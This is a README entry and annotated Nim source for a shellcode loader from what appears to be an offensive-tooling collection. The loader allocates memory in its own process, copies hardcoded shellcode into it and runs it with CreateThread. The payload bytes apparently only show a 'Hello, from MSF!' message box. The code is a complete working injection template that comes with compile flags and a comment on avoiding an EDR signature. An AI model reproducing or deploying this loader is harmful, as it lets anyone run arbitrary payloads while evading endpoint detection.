- This example is analagous to the C# code with the same name in this collection. This one hardcodes the shellcode for simplicity instead of downloading it from a remote server.
- This is the simplest example of process injection; this code simply allocates more memory within its own process, copies shellcode into it, and then executes it.
- Compilation: `nim c -d:release --opt:size -d:mingw --cpu:amd64 --app:gui .\CreateThread.nim`
	- This one must be compiled as a GUI app to run as-is; the shellcode pops a message box which is only possible with GDI32.dll loaded, which will be the case for a GUI app.

```Nim
#[
    Author: Alh4zr3d, Twitter: @alh4zr3d
    License: BSD 3-Clause
]#

import winim/lean                                                       # Importing the Winim library, containing important Windows types and function definitions

proc injectCreateThread[I, T](shellcode: array[I, T]): void =           # This is the primary function which injects the shellcode into the current process and executes it
    
    let baseAddr = VirtualAlloc(                                        # This call will allocate enough virtual memory within the current process to contain our shellcode.
        NULL,                                                           # lpAddress - The starting address of the region to allocate; NULL indicates the function should choose for us
        cast[SIZE_T](shellcode.len),                                    # dwSize - The size of the region to allocate, in bytes (or "double-words")
        MEM_COMMIT,                                                     # flAllocationType - The type of allocation to perform; MEM_COMMIT both allocates and zeroes out the region
        PAGE_READWRITE                                                  # flProtect - The memory protections to place on the newly allocated region
    )

    var bytesWritten: SIZE_T
    let wSuccess = WriteProcessMemory(                                  # This call will copy our shellcode into the newly allocated memory.
        GetCurrentProcess(),                                            # hProcess - A handle to the process memory to be written to. GetCurrentProcess() is a Win32 function that simply returns a pseudo-handle to the current process
        baseAddr,                                                       # lpBaseAddress - Pointer to address at which we should begin writing (where our allocated region begins)
        unsafeAddr shellcode,                                           # lpBuffer - Pointer to the shellcode variable to be copied.
        cast[SIZE_T](shellcode.len),                                    # nSize - The number of bytes to be written according to architecture
        addr bytesWritten                                               # lpNumberOfBytesWritten - Optional pointer to a variable in which to store the actual number of bytes written
    )

    var prevPro: DWORD = 0                                              # We now need to call VirtualProtect to make our allocated region (now containing shellcode) executable
                                                                        # This is done in lieu of simply assigning PAGE_EXECUTE_READWRITE earlier to avoid that common EDR signature

    var virPro = VirtualProtect(                                        # This call will change the memory protections on our allocated region
        baseAddr,                                                       # lpAddress - Address of the starting page to modify (start of our allocated memory)
        cast[SIZE_T](shellcode.len),                                    # dwSize - The size of the region to modify, in bytes (or "double-words")
        PAGE_EXECUTE_READ,                                              # flNewProtect - The new memory protections to assign to the region
        addr prevPro                                                    # lpflOldProtect - Pointer to a variable that receives and stores the previous permissions
    )

    var threadID: DWORD

    let threadH = CreateThread(                                         # This call will start a new thread in the current process to execute our shellcode
        NULL,                                                           # lpThreadAttributes - Pointer to a struct that dermines inheritance of the handle by child processes. NULL prevents inheritance.
        0,                                                              # dwStackSize - Starting size of the stack of the new thread. "0" indicates the default size for the EXE should be used
        cast[LPTHREAD_START_ROUTINE](baseAddr),                         # lpStartAddress - Pointer to the function to be executed by the thread (the beginning of our shellcode)
        NULL,                                                           # lpParameter - Optional pointer to a variable to be passed to the thread
        0,                                                              # dwCreationFlags - Creation flags for the new thread - "0" indicates the thread should execute immediately
        addr threadID                                                   # lpThreadId - Optional pointer to a variable that will receive the identifier of the new thread
    )

                                                                        # Our shellcode will be executed now, but the main thread will resume (CreateThread is non-blocking). The larger process will
                                                                        # shortly be terminated, and our shellcode with it. We now need to suspend the main thread until our new thread is finished.
    
    defer: CloseHandle(threadH)                                         # Closing the unused handle to the thread to prevent handle leaks.
    defer: WaitForSingleObject(threadH, int32.high)                     # This call will suspend the main thread of the process until the thread specified by the passed handle terminates.

when defined(windows):

    when defined(i386):
        var shellcode: array[272, byte] = [
        byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b,
        0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b,
        0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24,
        0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a,
        0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0,
        0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c,
        0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a,
        0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2,
        0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f,
        0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52,
        0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33,
        0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89,
        0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c,
        0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67,
        0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3,
        0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20,
        0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24,
        0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff,
        0x55,0x08]

    elif defined(amd64):
        var shellcode: array[295, byte] = [
        byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
        0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
        0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
        0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
        0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
        0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
        0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
        0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
        0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
        0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
        0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
        0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
        0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
        0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
        0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
        0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
        0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
        0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c,
        0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,
        0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00]

    when isMainModule:
        injectCreateThread(shellcode)
```